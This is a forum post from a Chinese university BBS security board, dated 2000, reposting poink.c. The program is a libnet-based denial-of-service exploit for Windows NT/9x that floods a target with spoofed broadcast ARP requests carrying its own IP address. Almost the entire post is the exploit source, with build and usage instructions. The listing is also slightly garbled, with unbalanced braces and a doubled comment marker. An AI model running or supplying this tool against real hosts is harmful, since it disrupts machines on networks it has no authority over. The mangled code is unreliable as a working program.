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<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="515.htm">上一层</a>][<a href="522.htm">下一篇</a>]
<hr><p align="left"><small>发信人: cloudsky (小四), 信区: Security <br>
标 题: poink.c <br>
发信站: 武汉白云黄鹤站 (Mon Apr 10 11:54:22 2000), 站内信件 <br>
<br>
/* <br>
* $Id$ <br>
* <br>
* poink.c - NT/9x DOS attack <br>
* <br>
* Code: <br>
* Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com> <br>
* route|daemon9 <route@infonexus.com> <br>
* All rights reserved. <br>
* <br>
* Original Idea: <br>
* Joel Jacobson (joel@mobila.cx) <br>
* <br>
* This simple exploit was written as per the specification from Joel <br>
* Jacobson's bugtraq post (http://geek-girl.com/bugtraq/1999_1/1299.html). <br>
* <br>
* Needs libnet 0.99. <br>
* Currently: http://lazy.accessus.net/~route/libnet <br>
* Soon: http://www.packetfactory.net/ <br>
* <br>
* gcc poink.c -o poink -lnet <br>
* <br>
* Redistribution and use in source and binary forms, with or without <br>
* modification, are permitted provided that the following conditions <br>
* are met: <br>
* 1. Redistributions of source code must retain the above copyright <br>
* notice, this list of conditions and the following disclaimer. <br>
* 2. Redistributions in binary form must reproduce the above copyright <br>
* notice, this list of conditions and the following disclaimer in the <br>
* documentation and/or other materials provided with the distribution. <br>
* <br>
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND <br>
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE <br>
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE <br>
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE <br>
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL <br>
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS <br>
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) <br>
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT <br>
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY <br>
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF <br>
* SUCH DAMAGE. <br>
* <br>
*/ <br>
<br>
#include <libnet.h> <br>
<br>
u_char enet_src[6] = {0x00, 0x0d, 0x0e, 0x0a, 0x0d, 0x00}; <br>
u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; <br>
<br>
int send_arp(struct link_int *, u_long, u_char *); <br>
void usage(u_char *); <br>
<br>
int <br>
main(int argc, char *argv[]) <br>
{ <br>
int c, amount; <br>
char errbuf[256]; <br>
char *device = NULL; <br>
struct link_int *l; <br>
u_long ip; <br>
<br>
amount = 20; <br>
while ((c = getopt(argc, argv, "n:i:")) != EOF) <br>
{ <br>
switch (c) <br>
{ <br>
case 'i': <br>
device = optarg; <br>
break; <br>
case 'n': <br>
amount = atoi(optarg); <br>
break; <br>
default: <br>
exit(EXIT_FAILURE); <br>
} <br>
} <br>
<br>
if (!device) <br>
{ <br>
usage(argv[0]); <br>
exit(EXIT_FAILURE); <br>
} <br>
<br>
if (argc <= optind) <br>
{ <br>
usage(argv[0]); <br>
exit(EXIT_FAILURE); <br>
} <br>
else if ((ip = libnet_name_resolve(argv[optind], 1)) == -1) <br>
{ <br>
fprintf(stderr, "Cannot resolve IP address\n"); <br>
exit(EXIT_FAILURE); <br>
} <br>
<br>
l = libnet_open_link_interface(device, errbuf); <br>
if (!l) <br>
{ <br>
fprintf(stderr, "libnet_open_link_interface: %s\n", errbuf); <br>
exit(EXIT_FAILURE); <br>
} <br>
<br>
while (amount--) <br>
{ <br>
c = send_arp(l, ip, device); <br>
if (c == -1) <br>
{ <br>
{ <br>
/* bail on the first error */ <br>
break; <br>
} <br>
} <br>
printf("\n"); <br>
return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS); <br>
} <br>
<br>
<br>
int <br>
send_arp(struct link_int *l, u_long ip, u_char *device) <br>
{ <br>
int n; <br>
u_char *buf; <br>
<br>
if (libnet_init_packet(ARP_H + ETH_H, &buf) == -1) <br>
{ <br>
perror("libnet_init_packet memory:"); <br>
exit(EXIT_FAILURE); <br>
} <br>
<br>
/* <br>
/* <br>
* Ethernet header <br>
*/ <br>
libnet_build_ethernet(enet_dst, enet_src, ETHERTYPE_ARP, NULL, 0, buf); <br>
<br>
/* <br>
* ARP header <br>
*/ <br>
libnet_build_arp(ARPHRD_ETHER, <br>
ETHERTYPE_IP, <br>
6, <br>
4, <br>
ARPOP_REQUEST, <br>
enet_src, <br>
(u_char *)&ip, <br>
enet_dst, <br>
(u_char *)&ip, <br>
NULL, <br>
0, <br>
buf + ETH_H); <br>
<br>
n = libnet_write_link_layer(l, device, buf, ARP_H + ETH_H); <br>
<br>
fprintf(stderr, "."); <br>
<br>
libnet_destroy_packet(&buf); <br>
return (n); <br>
} <br>
<br>
<br>
void <br>
usage(u_char *name) <br>
{ <br>
fprintf(stderr, "%s -i interface [-n amount] ip\n", name); <br>
} <br>
-- <br>
我问飘逝的风：来迟了？ <br>
风感慨：是的，他们已经宣战。 <br>
我问苏醒的大地：还有希望么？ <br>
大地揉了揉眼睛：还有，还有无数代的少年。 <br>
我问长空中的英魂：你们相信？ <br>
英魂带着笑意离去：相信，希望还在。 <br>
</small><hr>
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